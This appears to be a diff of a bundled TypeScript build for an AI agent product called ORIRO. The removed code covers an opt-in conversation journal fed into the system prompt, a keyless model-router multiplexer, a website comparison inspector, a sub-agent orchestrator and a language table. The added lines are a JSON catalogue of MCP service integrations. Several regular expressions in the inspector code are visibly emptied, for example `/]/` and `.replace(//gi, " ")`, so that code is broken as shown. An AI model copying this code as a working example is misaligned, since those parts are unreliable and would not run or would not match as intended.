+ } + ] } - } catch (fatal) { - recordFault("supervisor", fatal); - return null; - } -} - -// src/scribe/retrieval.ts -import { existsSync as existsSync9, readFileSync as readFileSync15, readdirSync } from "fs"; -function listDays() { - const dir = scribeDir(); - if (!existsSync9(dir)) return []; - return readdirSync(dir).filter((f) => /^\d{4}-\d{2}-\d{2}\.md$/.test(f)).map((f) => f.replace(/\.md$/, "")).sort(); -} -function readDay(date) { - const f = journalFile(date); - return existsSync9(f) ? readFileSync15(f, "utf8") : ""; -} -function searchScribe(query, limit = 100) { - const q = query.toLowerCase().trim(); - if (!q) return []; - const hits = []; - for (const date of listDays().reverse()) { - const lines = readDay(date).split("\n"); - for (let i = 0; i < lines.length; i++) { - const ln = lines[i]; - if (ln && ln.toLowerCase().includes(q)) { - hits.push({ date, line: i + 1, text: ln.trim().slice(0, 200) }); - if (hits.length >= limit) return hits; - } + }, + { + "slug": "datadog", + "name": "Datadog", + "category": "Development", + "authType": "apikey", + "mcpUrl": "https://github.com/traceloop/opentelemetry-mcp-server", + "description": "An MCP server for connecting to any OpenTelemetry backend (Datadog, Grafana, Dynatrace, Traceloop, etc.).", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "Datadog API Key", + "type": "password", + "help": "https://docs.datadoghq.com/api/" + } + ] } - } - return hits; -} - -// src/scribe/scribe-pi.ts -function scribeTurn(input) { - if (!isScribeEnabled()) return; - const ts = (/* @__PURE__ */ new Date()).toISOString(); - supervisedCapture({ ts, date: ts.slice(0, 10), ...input }); -} -var pendingUserInput = ""; -function noteUserInput(text) { - pendingUserInput = text; -} -function takePendingUserInput() { - const u = pendingUserInput; - pendingUserInput = ""; - return u; -} -function buildScribeContext() { - if (!isScribeEnabled()) return ""; - const parts = []; - try { - const t = timelineFile(); - if (existsSync10(t)) parts.push(`# Work history \u2014 every day so far -${readFileSync16(t, "utf8").trim()}`); - } catch { - } - try { - const d = readDigest(); - if (d?.trim()) parts.push(`# Current context (recent) -${d.trim()}`); - } catch { - } - if (!parts.length) return ""; - return `${parts.join("\n\n")} - -(Call scribe_recall to fetch the full text of any past day or topic.)`; -} -function registerScribe(pi) { - pi.registerTool({ - name: "scribe_recall", - label: "ORIRO Scribe", - description: "Recall the user's past work from the on-device journal: search by keyword, or read a specific day (YYYY-MM-DD). Use to recover decisions, code, files, and context from earlier sessions.", - parameters: Type.Object({ - query: Type.Optional(Type.String({ description: "Keyword/topic to search across all journals." })), - day: Type.Optional(Type.String({ description: "A specific day YYYY-MM-DD to read in full." })) - }), - async execute(_id, params) { - let text; - const details = {}; - if (!isScribeEnabled()) { - text = "Scribe is off (the user has not enabled it)."; - } else if (params.day) { - text = readDay(params.day) || `No journal for ${params.day}. Days: ${listDays().join(", ") || "none"}`; - details.day = params.day; - } else { - const hits = params.query ? searchScribe(params.query) : []; - details.hits = hits; - text = hits.length ? hits.map((h) => `${h.date}:${h.line} ${h.text}`).join("\n") : `No matches${params.query ? ` for "${params.query}"` : ""}. Days recorded: ${listDays().join(", ") || "none"}`; - } - return { content: [{ type: "text", text }], details }; + }, + { + "slug": "slack", + "name": "Slack", + "category": "Communication", + "authType": "oauth", + "mcpUrl": "https://github.com/korotovsky/slack-mcp-server", + "description": "The most powerful MCP server for Slack Workspaces.", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via Slack OAuth \u2014 no keys to paste.", + "docs": "https://api.slack.com/" } - }); -} -function attachScribe(session) { - let user = ""; - let assistant = ""; - const tools = /* @__PURE__ */ new Set(); - session.subscribe((e) => { - if (!isScribeEnabled()) return; - if (e?.type === "user_message" || e?.type === "session_user_message") user = String(e.text ?? e.message ?? user); - if (e?.type === "message_update" && e.assistantMessageEvent?.type === "text_delta") assistant += e.assistantMessageEvent.delta ?? ""; - if ((e?.type === "tool_call" || e?.type === "tool_execution_start") && e.toolName) tools.add(String(e.toolName)); - if (e?.type === "agent_end") { - const userText = takePendingUserInput() || user; - scribeTurn({ user: userText || void 0, router: "oriro-free", tools: [...tools], note: assistant.slice(0, 4e3) || void 0 }); - user = ""; - assistant = ""; - tools.clear(); - } - }); -} - -// src/routers/mux-provider.ts -var MUX_PROVIDER = "oriro-mux"; -var MUX_MODEL = "oriro-free"; -function errToCallError(msg) { - const text = msg.errorMessage ?? ""; - return /\b429\b|rate.?limit|too many requests/i.test(text) ? { status: 429 } : {}; -} -function buildErrorMessage(message) { - return { - role: "assistant", - content: [], - api: "openai-completions", - provider: MUX_PROVIDER, - model: MUX_MODEL, - usage: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, totalTokens: 0, cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 } }, - stopReason: "error", - timestamp: Date.now(), - errorMessage: message - }; -} -async function driveMux(out, mux, byId, context, options) { - let lastError; - for (const id of mux.ranked()) { - const router = byId.get(id); - if (!router) continue; - const t0 = Date.now(); - let committed = false; - let lastPartial; - try { - const inner = piStreamSimple(routerModel(router), context, { - ...options ?? {}, - apiKey: router.apiKey - }); - let failedBeforeContent = false; - for await (const ev of inner) { - if (ev.type === "error") { - mux.recordFailure(id, errToCallError(ev.error)); - if (!committed) { - lastError = ev.error; - failedBeforeContent = true; - break; - } - out.push(ev); - out.end(ev.error); - return; - } - committed = true; - if (ev.type === "done") { - mux.recordSuccess(id, Date.now() - t0); - const clean = sanitizeMessageToolCalls(scrubMessageIdentity(ev.message)); - out.push({ type: "done", reason: ev.reason, message: clean }); - out.end(clean); - return; + }, + { + "slug": "discord", + "name": "Discord", + "category": "Communication", + "authType": "token", + "mcpUrl": "https://github.com/SaseQ/discord-mcp", + "description": "A MCP server for the Discord integration. Enable your AI assistants to seamlessly interact with Discord. Enhance your Discord experience with powerful automation capabilities.", + "configSchema": { + "auth": "token", + "fields": [ + { + "key": "access_token", + "label": "Discord Access Token", + "type": "password", + "help": "https://discord.com/developers/docs" } - lastPartial = ev.partial; - out.push(sanitizeEventToolCalls(ev)); - } - if (failedBeforeContent) continue; - if (!committed) { - mux.recordFailure(id, {}); - lastError ??= buildErrorMessage("Router returned no output."); - continue; - } - mux.recordSuccess(id, Date.now() - t0); - out.end(lastPartial ? sanitizeMessageToolCalls(scrubMessageIdentity(lastPartial)) : void 0); - return; - } catch (e) { - mux.recordFailure(id, e); + ] } - } - const msg = lastError ?? buildErrorMessage( - "All keyless routers are unavailable. Add a BYOK key, select more free routers, or retry shortly." - ); - out.push({ type: "error", reason: "error", error: msg }); - out.end(msg); -} -function registerOriroMux(registry, opts = {}) { - registerOpenAICompletions(); - const pooled = resolvePool(); - const routers = opts.routers ?? (pooled.length > 0 ? pooled : KEYLESS_FLOOR); - const byId = new Map(routers.map((r) => [r.id, r])); - const mux = new RouterMux(routers.map((r) => r.id)); - try { - mux.load(loadMuxState(oriroDir())); - } catch { - } - registry.registerProvider(MUX_PROVIDER, { - name: "ORIRO Free (keyless Mux)", - api: "openai-completions", - apiKey: "oriro-keyless", - // Placeholder — required by registry validation but never used: our custom streamSimple - // routes to the real keyless floor endpoints itself (see driveMux). - baseUrl: "http://oriro-mux.local", - models: [ - { - id: MUX_MODEL, - name: "ORIRO Free (best-router)", - api: "openai-completions", - baseUrl: "http://oriro-mux.local", - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 128e3, - maxTokens: 4096 - } - ], - streamSimple: (_model, context, options) => { - const out = createAssistantMessageEventStream(); - const ctx = applyIdentity(context); - const memory = buildScribeContext(); - const withMemory = memory ? { ...ctx, systemPrompt: `${ctx.systemPrompt} - -${memory}` } : ctx; - void driveMux(out, mux, byId, withMemory, options).finally(() => { - try { - saveMuxState(oriroDir(), mux.snapshot()); - } catch { + }, + { + "slug": "telegram", + "name": "Telegram", + "category": "Communication", + "authType": "token", + "mcpUrl": "https://github.com/chaindead/telegram-mcp", + "description": "Telegram API integration for accessing user data, managing dialogs (chats, channels, groups), retrieving messages, and handling read status", + "configSchema": { + "auth": "token", + "fields": [ + { + "key": "access_token", + "label": "Telegram Access Token", + "type": "password", + "help": "https://core.telegram.org/bots/api" } - }); - return out; + ] } - }); - return registry.find(MUX_PROVIDER, MUX_MODEL); -} - -// src/head/pi-tool.ts -import { Type as Type2 } from "typebox"; - -// src/head/comparison-engine.ts -var SECTION_RULES = [ - { - type: "hero", - label: "Hero", - priority: "CRITICAL", - markup: [/]/], - recommend: "Add a clear above-the-fold hero \u2014 one headline that states the value + one primary CTA." }, { - type: "navigation", - label: "Navigation", - priority: "CRITICAL", - markup: [/]/, /role=["']navigation["']/], - recommend: "Add a top navigation so visitors can reach key sections." + "slug": "microsoft-teams", + "name": "Microsoft Teams", + "category": "Communication", + "authType": "oauth", + "mcpUrl": "https://github.com/InditexTech/mcp-teams-server", + "description": "MCP server that integrates Microsoft Teams messaging (read, post, mention, list members and threads)", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via Microsoft Teams OAuth \u2014 no keys to paste.", + "docs": "https://learn.microsoft.com/graph/teams-concept-overview" + } }, { - type: "features", - label: "Features", - priority: "CRITICAL", - text: [/\bfeatures?\b/, /\bwhat you (?:can|get)\b/, /\bcapabilit/], - recommend: "Add a features section that spells out concrete capabilities, not adjectives." + "slug": "zoom", + "name": "Zoom", + "category": "Communication", + "authType": "oauth", + "mcpUrl": "https://github.com/joinly-ai/joinly", + "description": "MCP server to interact with browser-based meeting platforms (Zoom, Teams, Google Meet). Enables AI agents to send bots to online meetings, gather live transcripts, speak text, and send messages in the meeting chat.", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via Zoom OAuth \u2014 no keys to paste.", + "docs": "https://developers.zoom.us/docs/api/" + } }, { - type: "pricing", - label: "Pricing", - priority: "CRITICAL", - text: [/\bpricing\b/, /\bper month\b/, /\b\/mo\b/, /\bfree plan\b/, /\$\d/, /₹\d/, /€\d/], - recommend: 'Add transparent pricing \u2014 a critical conversion element; even a single "Free" tier helps.' + "slug": "twilio", + "name": "Twilio", + "category": "Communication", + "authType": "apikey", + "mcpUrl": "", + "description": "Twilio integration for ORIRO. (Communication category.)", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "Twilio API Key", + "type": "password", + "help": "https://www.twilio.com/docs/usage/api" + } + ] + } }, { - type: "cta", - label: "Call-to-Action", - priority: "CRITICAL", - text: [/\bget started\b/, /\bsign up\b/, /\bstart (?:free|now|building)\b/, /\btry (?:it|now|free)\b/, /\bbook a demo\b/, /\bget a demo\b/], - recommend: 'Add a strong, repeated primary CTA ("Get started") so the next step is obvious.' + "slug": "notion", + "name": "Notion", + "category": "Productivity", + "authType": "oauth", + "mcpUrl": "https://github.com/suekou/mcp-notion-server", + "description": "Interacting with Notion API", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via Notion OAuth \u2014 no keys to paste.", + "docs": "https://developers.notion.com/" + } }, { - type: "testimonials", - label: "Testimonials", - priority: "HIGH", - text: [/\btestimonial/, /\bwhat (?:our )?(?:customers|users) say\b/, /\bloved by\b/, /\breview(?:s|ed)\b/], - recommend: "Add 2\u20133 customer testimonials with names/photos to build trust." - }, - { - type: "stats", - label: "Stats / Metrics", - priority: "HIGH", - text: [/\b\d[\d,.]*\s*[kkmm]\+?\s*(?:users|customers|developers|downloads|teams)\b/, /\b9\d(?:\.\d+)?%\b/, /\buptime\b/], - recommend: 'Add impressive metrics ("10K+ users", "99.9% uptime") as social proof.' - }, - { - type: "video", - label: "Video", - priority: "HIGH", - markup: [/]/, /youtube\.com\/embed/, /player\.vimeo\.com/, /]+(?:youtube|vimeo)/], - text: [/\bwatch the (?:video|demo)\b/], - recommend: "Add a short explainer/demo video \u2014 it lifts conversion on landing pages." - }, - { - type: "demo", - label: "Live Demo", - priority: "HIGH", - text: [/\btry it (?:now|live|free)\b/, /\bplayground\b/, /\binteractive demo\b/, /\blive demo\b/], - recommend: 'Add a "try it" live demo or playground so visitors experience the product immediately.' - }, - { - type: "socialProof", - label: "Social Proof", - priority: "HIGH", - text: [/\btrusted by\b/, /\bbacked by\b/, /\bused by\b/, /\bas seen (?:in|on)\b/, /\bcustomers include\b/], - recommend: 'Add social proof (customer/investor logos, "trusted by \u2026") near the hero.' + "slug": "google-drive", + "name": "Google Drive", + "category": "Productivity", + "authType": "oauth", + "mcpUrl": "https://github.com/isaacphi/mcp-gdrive", + "description": "Model Context Protocol (MCP) Server for reading from Google Drive and editing Google Sheets.", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via Google Drive OAuth \u2014 no keys to paste.", + "docs": "https://developers.google.com/drive" + } }, { - type: "faq", - label: "FAQ", - priority: "MEDIUM", - text: [/\bfaq\b/, /\bfrequently asked\b/], - markup: [/]/], - recommend: "Add an FAQ that answers the top objections before they become exits." + "slug": "airtable", + "name": "Airtable", + "category": "Productivity", + "authType": "apikey", + "mcpUrl": "https://github.com/domdomegg/airtable-mcp-server", + "description": "Airtable database integration with schema inspection, read and write capabilities", + "configSchema": { + "auth": "apikey", + "fields": [ + { + "key": "api_key", + "label": "Airtable API Key", + "type": "password", + "help": "https://airtable.com/developers/web/api/introduction" + } + ] + } }, { - type: "integrations", - label: "Integrations", - priority: "MEDIUM", - text: [/\bintegrations?\b/, /\bworks with\b/, /\bconnect your\b/], - recommend: "Add an integrations section showing what the product connects to." + "slug": "confluence", + "name": "Confluence", + "category": "Productivity", + "authType": "oauth", + "mcpUrl": "https://github.com/sooperset/mcp-atlassian", + "description": "MCP server for Atlassian products (Confluence and Jira). Supports Confluence Cloud, Jira Cloud, and Jira Server/Data Center. Provides comprehensive tools for searching, reading, creating, and managing content across Atlassian workspaces.", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via Confluence OAuth \u2014 no keys to paste.", + "docs": "https://developer.atlassian.com/cloud/confluence/" + } }, { - type: "newsletter", - label: "Newsletter / Capture", - priority: "MEDIUM", - text: [/\bsubscribe\b/, /\bnewsletter\b/, /\bjoin (?:the )?waitlist\b/], - markup: [/type=["']email["']/], - recommend: "Add an email capture (newsletter/waitlist) so non-converting visitors are not lost." + "slug": "google-calendar", + "name": "Google Calendar", + "category": "Productivity", + "authType": "oauth", + "mcpUrl": "https://github.com/takumi0706/google-calendar-mcp", + "description": "An MCP server to interface with the Google Calendar API. Based on TypeScript.", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via Google Calendar OAuth \u2014 no keys to paste.", + "docs": "https://developers.google.com/calendar" + } }, { - type: "comparison", - label: "Comparison", - priority: "MEDIUM", - text: [/\bcompare\b/, /\bcomparison\b/, /\b vs\.? \b/, /\bwhy choose\b/], - recommend: 'Add a comparison ("us vs alternatives") to win evaluators who are shopping around.' + "slug": "microsoft-365", + "name": "Microsoft 365", + "category": "Productivity", + "authType": "oauth", + "mcpUrl": "", + "description": "Microsoft 365 is the productivity suite \u2014 Outlook, Teams, SharePoint, OneDrive. ORIRO connects via the Microsoft Graph API for mail, calendar, files, and collaboration.", + "configSchema": { + "auth": "oauth", + "fields": [], + "note": "Authorize via Microsoft 365 OAuth \u2014 no keys to paste.", + "docs": "https://learn.microsoft.com/graph/" + } }, { - type: "team", - label: "Team / About", - priority: "LOW", - text: [/\bour team\b/, /\bmeet the team\b/, /\bfounders?\b/, /\babout us\b/], - recommend: "Add a brief team/about section to humanize the brand." - } -]; -var PRIORITY_RANK = { CRITICAL: 0, HIGH: 1, MEDIUM: 2, LOW: 3 }; -var PRIORITY_EFFORT = { CRITICAL: "L", HIGH: "M", MEDIUM: "M", LOW: "S" }; -var FETCH_TIMEOUT_MS = 12e3; -var UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36 ORIRO-Inspector"; -async function fetchPage(url) { - const controller = new AbortController(); - const timer = setTimeout(() => controller.abort(), FETCH_TIMEOUT_MS); - const start = Date.now(); - try { - const res = await fetch(url, { - signal: controller.signal, - redirect: "follow", - headers: { "user-agent": UA, accept: "text/html,application/xhtml+xml" } - }); - const html = await res.text(); - return { html, ms: Date.now() - start, status: res.status, ok: res.ok, error: "" }; - } catch (err) { - return { html: "", ms: Date.now() - start, status: 0, ok: false, error: err instanceof Error ? err.message : "fetch failed" }; - } finally { - clearTimeout(timer); - } -} -function toText(html) { - return html.replace(//gi, " ").replace(//gi, " ").replace(/<[^>]+>/g, " ").replace(/ /gi, " ").replace(/\s+/g, " ").toLowerCase().trim(); -} -function firstMatch(re, hay) { - const m = re.exec(hay); - if (!m) return ""; - const slice = (m[0] ?? "").trim(); - return slice.length > 80 ? `${slice.slice(0, 77)}\u2026` : slice; -} -function detectSections(rawHtmlLower, text) { - const found = []; - for (const rule of SECTION_RULES) { - let evidence = ""; - for (const re of rule.markup ?? []) { - const hit = firstMatch(re, rawHtmlLower); - if (hit) { - evidence = hit; - break; - } - } - if (!evidence) { - for (const re of rule.text ?? []) { - const hit = firstMatch(re, text); - if (hit) { - evidence = hit; - break; - } - } - } - if (evidence) found.push({ type: rule.type, label: rule.label, priority: rule.priority, evidence }); - } - return found; -} -function extractMatches(re, html, max) { - const out = []; - for (const m of html.matchAll(re)) { - const inner = (m[1] ?? "").replace(/<[^>]+>/g, " ").replace(/\s+/g, " ").trim(); - if (inner && !out.includes(inner)) out.push(inner); - if (out.length >= max) break; - } - return out; -} -var CTA_WORDS = /\b(get started|sign up|start free|start now|start building|try (?:it|now|free)|book a demo|get a demo|request access|join (?:the )?waitlist|download)\b/i; -function extractStructure(url, fr) { - const html = fr.html; - const lowerHtml = html.toLowerCase(); - const text = toText(html); - const titleM = /]*>([\s\S]*?)<\/title>/i.exec(html); - const title = (titleM?.[1] ?? "").replace(/\s+/g, " ").trim(); - const descM = /]+name=["']description["'][^>]+content=["']([^"']*)["']/i.exec(html) ?? /]+content=["']([^"']*)["'][^>]+name=["']description["']/i.exec(html); - const description = (descM?.[1] ?? "").replace(/\s+/g, " ").trim(); - const headings = extractMatches(/]*>([\s\S]*?)<\/h[1-3]>/gi, html, 12); - const ctaAll = extractMatches(/<(?:a|button)[^>]*>([\s\S]*?)<\/(?:a|button)>/gi, html, 80); - const ctas = []; - for (const c of ctaAll) { - if (CTA_WORDS.test(c) && !ctas.includes(c)) ctas.push(c); - if (ctas.length >= 10) break; - } - const forms = (lowerHtml.match(/]/g) ?? []).length; - const links = (lowerHtml.match(/]/g) ?? []).length; - const images = (lowerHtml.match(/]/g) ?? []).length; - const hasVideo = /]/.test(lowerHtml) || /(?:youtube\.com\/embed|player\.vimeo\.com)/.test(lowerHtml); - const domNodes = (html.match(/<[a-z!\/]/gi) ?? []).length; - let note = ""; - if (fr.ok && text.length < 400 && domNodes < 60) { - note = "Sparse HTML \u2014 likely a client-rendered (SPA) page; structure may be under-detected without a JS render."; - } - return { - url, - title, - description, - sections: detectSections(lowerHtml, text), - headings, - ctas, - forms, - links, - images, - hasVideo, - metrics: { htmlBytes: html.length, domNodes, fetchMs: fr.ms, status: fr.status }, - ok: fr.ok && html.length > 0, - note: fr.ok ? note : `Could not load: ${fr.error || `HTTP ${fr.status}`}` - }; -} -function ruleFor(type) { - return SECTION_RULES.find((r) => r.type === type) ?? SECTION_RULES[0]; -} -function analyzeGaps(target, competitors) { - const targetTypes = new Set(target.sections.map((s) => s.type)); - const compPresence = /* @__PURE__ */ new Map(); - for (const comp of competitors) { - if (!comp.ok) continue; - for (const s of comp.sections) { - const list = compPresence.get(s.type) ?? []; - if (!list.includes(comp.url)) list.push(comp.url); - compPresence.set(s.type, list); - } - } - const missing = []; - const parity = []; - for (const [type, presentOn] of compPresence) { - if (targetTypes.has(type)) { - parity.push(type); - } else { - const rule = ruleFor(type); - missing.push({ section: type, label: rule.label, priority: rule.priority, presentOn, recommendation: rule.recommend }); - } - } - missing.sort((a, b) => PRIORITY_RANK[a.priority] - PRIORITY_RANK[b.priority] || b.presentOn.length - a.presentOn.length); - const advantages = target.sections.filter((s) => !compPresence.has(s.type)); - return { missing, advantages, parity }; -} -function generateActionItems(missing) { - return missing.map((g) => ({ - title: `Add a ${g.label} section`, - priority: g.priority, - effort: PRIORITY_EFFORT[g.priority], - rationale: `${g.presentOn.length} of the compared page(s) have it; you don't. ${g.recommendation}` - })); -} -function hostOf(url) { - try { - return new URL(url).host.replace(/^www\./, ""); - } catch { - return url; - } -} -function generateSummary(target, competitors, gaps) { - const okComps = competitors.filter((c) => c.ok); - const tName = hostOf(target.url); - if (!target.ok) return `Could not load ${tName} (${target.note}). Nothing to compare against yet.`; - if (okComps.length === 0) return `Loaded ${tName} (${target.sections.length} sections) but none of the comparison URLs could be loaded.`; - const crit = gaps.missing.filter((m) => m.priority === "CRITICAL").map((m) => m.label); - const high = gaps.missing.filter((m) => m.priority === "HIGH").map((m) => m.label); - const parts = []; - parts.push(`${tName} has ${target.sections.length} detectable sections; compared against ${okComps.length} page(s).`); - if (gaps.missing.length === 0) { - parts.push("No structural gaps found \u2014 you cover everything they do."); - } else { - parts.push(`${gaps.missing.length} gap(s) found.`); - if (crit.length) parts.push(`Critical: ${crit.join(", ")}.`); - if (high.length) parts.push(`High: ${high.join(", ")}.`); - } - if (gaps.advantages.length) parts.push(`Your edge: ${gaps.advantages.map((a) => a.label).join(", ")}.`); - return parts.join(" "); -} -function normalizeUrl(u) { - const t = (u || "").trim(); - if (!t) return t; - return /^https?:\/\//i.test(t) ? t : `https://${t}`; -} -async function comparePages(opts) { - const targetUrl = normalizeUrl(opts.targetUrl); - const competitorUrls = (opts.competitorUrls ?? []).map(normalizeUrl).filter((u) => u.length > 0).slice(0, 30); - const [targetFetch, ...compFetches] = await Promise.all([ - fetchPage(targetUrl), - ...competitorUrls.map((u) => fetchPage(u)) - ]); - const target = extractStructure(targetUrl, targetFetch ?? { html: "", ms: 0, status: 0, ok: false, error: "no fetch" }); - const competitors = competitorUrls.map( - (u, i) => extractStructure(u, compFetches[i] ?? { html: "", ms: 0, status: 0, ok: false, error: "no fetch" }) - ); - const gaps = analyzeGaps(target, competitors); - return { - target, - competitors, - missing: gaps.missing, - advantages: gaps.advantages, - parity: gaps.parity, - actionItems: generateActionItems(gaps.missing), - summary: generateSummary(target, competitors, gaps) - }; -} - -// src/head/pi-tool.ts -function summarizeForCoder(report) { - const lines = [report.summary]; - const page = (p) => ` \u2022 ${p.url} \u2014 ${p.ok ? `${p.sections.length} sections: ${p.sections.map((s) => s.type).join(", ")}` : `not readable (${p.note})`}`; - lines.push("Pages seen:"); - lines.push(page(report.target)); - for (const c of report.competitors) if (c.url !== report.target.url) lines.push(page(c)); - if (report.missing.length) { - lines.push("Missing on the target (gaps to build):"); - for (const g of report.missing.slice(0, 12)) lines.push(` \u2022 ${g.label} (${g.priority}) \u2014 ${g.recommendation}`); - } - if (report.actionItems.length) { - lines.push("Suggested action items:"); - for (const a of report.actionItems.slice(0, 12)) lines.push(` \u2192 ${a.title} [${a.priority}/${a.effort}] \u2014 ${a.rationale}`); - } - return lines.join("\n"); -} -var InspectSiteParams = Type2.Object({ - url: Type2.String({ description: "The target website URL to inspect or rebuild from." }), - competitors: Type2.Optional( - Type2.Array(Type2.String(), { description: "Optional competitor/reference URLs to compare the target against." }) - ) -}); -function registerHead(pi) { - pi.registerTool({ - name: "inspect_site", - label: "ORIRO Head", - description: "Go out to a live website and SEE it: its sections, CTAs, structure, and any gaps versus competitor URLs. Returns a structured report to build from. Call this whenever the user wants to look at, compare against, or rebuild a website/page.", - parameters: InspectSiteParams, - async execute(_toolCallId, params) { - const target = params.url; - const competitors = params.competitors?.length ? params.competitors : [target]; - const report = await comparePages({ targetUrl: target, competitorUrls: competitors }); - return { content: [{ type: "text", text: summarizeForCoder(report) }], details: report }; - } - }); -} - -// src/orchestrate.ts -import { createAgentSession, AuthStorage, ModelRegistry, SessionManager } from "@earendil-works/pi-coding-agent"; -import { Type as Type3 } from "typebox"; -var MAX_AGENTS = 8; -var MAX_CONCURRENCY = 4; -async function runOnce(spec) { - const authStorage = AuthStorage.inMemory(); - const modelRegistry = ModelRegistry.inMemory(authStorage); - const model = registerOriroMux(modelRegistry); - if (!model) return { ...spec, ok: false, output: "no free model available" }; - const { session } = await createAgentSession({ - model, - authStorage, - modelRegistry, - sessionManager: SessionManager.inMemory(), - noTools: "all" - }); - let out = ""; - const unsub = session.subscribe((e) => { - if (e.type === "message_update" && e.assistantMessageEvent?.type === "text_delta") out += e.assistantMessageEvent.delta ?? ""; - }); - try { - await session.prompt(`You are the ${spec.role} sub-agent. ${spec.task}`); - } catch (e) { - return { ...spec, ok: false, output: e instanceof Error ? e.message : String(e) }; - } finally { - unsub(); - session.dispose(); - } - return { ...spec, ok: out.trim().length > 0, output: out.trim() }; -} -async function runAgent(spec) { - let last = await runOnce(spec); - if (!last.ok) last = await runOnce(spec); - return last; -} -async function runPool(items, n, fn) { - const results = new Array(items.length); - let i = 0; - async function worker() { - while (i < items.length) { - const idx = i++; - const item = items[idx]; - if (item === void 0) continue; - results[idx] = await fn(item); - } - } - await Promise.all(Array.from({ length: Math.min(n, items.length) }, () => worker())); - return results; -} -async function orchestrate(opts) { - const agents = opts.agents.slice(0, MAX_AGENTS); - if ((opts.mode ?? "parallel") === "chain") { - const results = []; - let prev = ""; - for (const a of agents) { - const r = await runAgent({ role: a.role, task: prev ? `${a.task} - -Previous result: -${prev}` : a.task }); - results.push(r); - prev = r.output; - } - return results; - } - return runPool(agents, MAX_CONCURRENCY, runAgent); -} -function registerOrchestrator(pi) { - pi.registerTool({ - name: "deploy_agents", - label: "ORIRO Orchestrator", - description: "Deploy multiple sub-agents in parallel (or chained) to do work \u2014 e.g. 'spawn 4 QA + 2 coders, run the tests'. Each sub-agent runs FREE on the router pool. Give each agent a role and a task.", - parameters: Type3.Object({ - agents: Type3.Array(Type3.Object({ role: Type3.String(), task: Type3.String() }), { - description: "The sub-agents to deploy (max 8)." - }), - mode: Type3.Optional(Type3.Union([Type3.Literal("parallel"), Type3.Literal("chain")])) - }), - async execute(_id, params) { - const results = await orchestrate({ agents: params.agents, mode: params.mode }); - const text = results.map((r) => `[${r.role}] ${r.ok ? "\u2713" : "\u2717"} ${r.output.slice(0, 300)}`).join("\n"); - return { content: [{ type: "text", text }], details: { results } }; - } - }); -} - -// src/skills/loader.ts -import { loadSkills, formatSkillsForPrompt } from "@earendil-works/pi-coding-agent"; -import { fileURLToPath } from "url"; -import { existsSync as existsSync11 } from "fs"; -import { dirname as dirname2, join as join18 } from "path"; -function packageRoot(start) { - let dir = start; - for (let i = 0; i < 10; i++) { - if (existsSync11(join18(dir, "package.json"))) return dir; - const parent = dirname2(dir); - if (parent === dir) break; - dir = parent; - } - return start; -} -function skillsDir() { - if (process.env.ORIRO_SKILLS_DIR) return process.env.ORIRO_SKILLS_DIR; - return join18(packageRoot(dirname2(fileURLToPath(import.meta.url))), "skills"); -} -async function loadOriroSkills(dir = skillsDir()) { - const result = await loadSkills({ - cwd: dir, - agentDir: dir, - skillPaths: [dir], - includeDefaults: false - }); - const all = Array.isArray(result) ? result : result.skills ?? []; - return { - all, - core: all.filter((s) => !s.disableModelInvocation), - tail: all.filter((s) => s.disableModelInvocation), - prompt: formatSkillsForPrompt(all) - }; -} - -// src/onboarding/assemble.ts -async function assembleOriroSession(opts = {}) { - const cwd = opts.cwd ?? process.cwd(); - const authStorage = AuthStorage2.inMemory(); - const modelRegistry = ModelRegistry2.inMemory(authStorage); - const settingsManager = SettingsManager.create(cwd); - const model = registerOriroMux(modelRegistry); - if (!model) throw new Error("ORIRO keyless model unavailable"); - const resourceLoader = new DefaultResourceLoader({ - cwd, - agentDir: getAgentDir(), - settingsManager, - additionalSkillPaths: [skillsDir()], - extensionFactories: [registerGuardian, registerHead, registerScribe, registerOrchestrator] - }); - await resourceLoader.reload(); - const { session, extensionsResult } = await createAgentSession2({ - model, - authStorage, - modelRegistry, - settingsManager, - sessionManager: SessionManager2.inMemory(), - resourceLoader - }); - attachScribe(session); - return { session, extensionsResult }; -} - -// src/language/nllb-translator.ts -var NLLB_CODE = { - en: "eng_Latn", - zh: "zho_Hans", - de: "deu_Latn", - es: "spa_Latn", - ru: "rus_Cyrl", - ko: "kor_Hang", - fr: "fra_Latn", - ja: "jpn_Jpan", - pt: "por_Latn", - tr: "tur_Latn", - pl: "pol_Latn", - ca: "cat_Latn", - nl: "nld_Latn", - ar: "arb_Arab", - sv: "swe_Latn", - it: "ita_Latn", - id: "ind_Latn", - hi: "hin_Deva", - fi: "fin_Latn", - vi: "vie_Latn", - he: "heb_Hebr", - uk: "ukr_Cyrl", - el: "ell_Grek", - ms: "zsm_Latn", - cs: "ces_Latn", - ro: "ron_Latn", - da: "dan_Latn", - hu: "hun_Latn", - ta: "tam_Taml", - no: "nob_Latn", - th: "tha_Thai", - ur: "urd_Arab", - hr: "hrv_Latn", - bg: "bul_Cyrl", - lt: "lit_Latn", - mi: "mri_Latn", - ml: "mal_Mlym", - cy: "cym_Latn", - sk: "slk_Latn", - te: "tel_Telu", - fa: "pes_Arab", - lv: "lvs_Latn", - bn: "ben_Beng", - sr: "srp_Cyrl", - az: "azj_Latn", - sl: "slv_Latn", - kn: "kan_Knda", - et: "est_Latn", - mk: "mkd_Cyrl", - eu: "eus_Latn", - is: "isl_Latn", - hy: "hye_Armn", - ne: "npi_Deva", - mn: "khk_Cyrl", - bs: "bos_Latn", - kk: "kaz_Cyrl", - sq: "als_Latn", - sw: "swh_Latn", - gl: "glg_Latn", - mr: "mar_Deva", - pa: "pan_Guru", - si: "sin_Sinh", - km: "khm_Khmr", - sn: "sna_Latn", - yo: "yor_Latn", - so: "som_Latn", - af: "afr_Latn", - oc: "oci_Latn", - ka: "kat_Geor", - be: "bel_Cyrl", - tg: 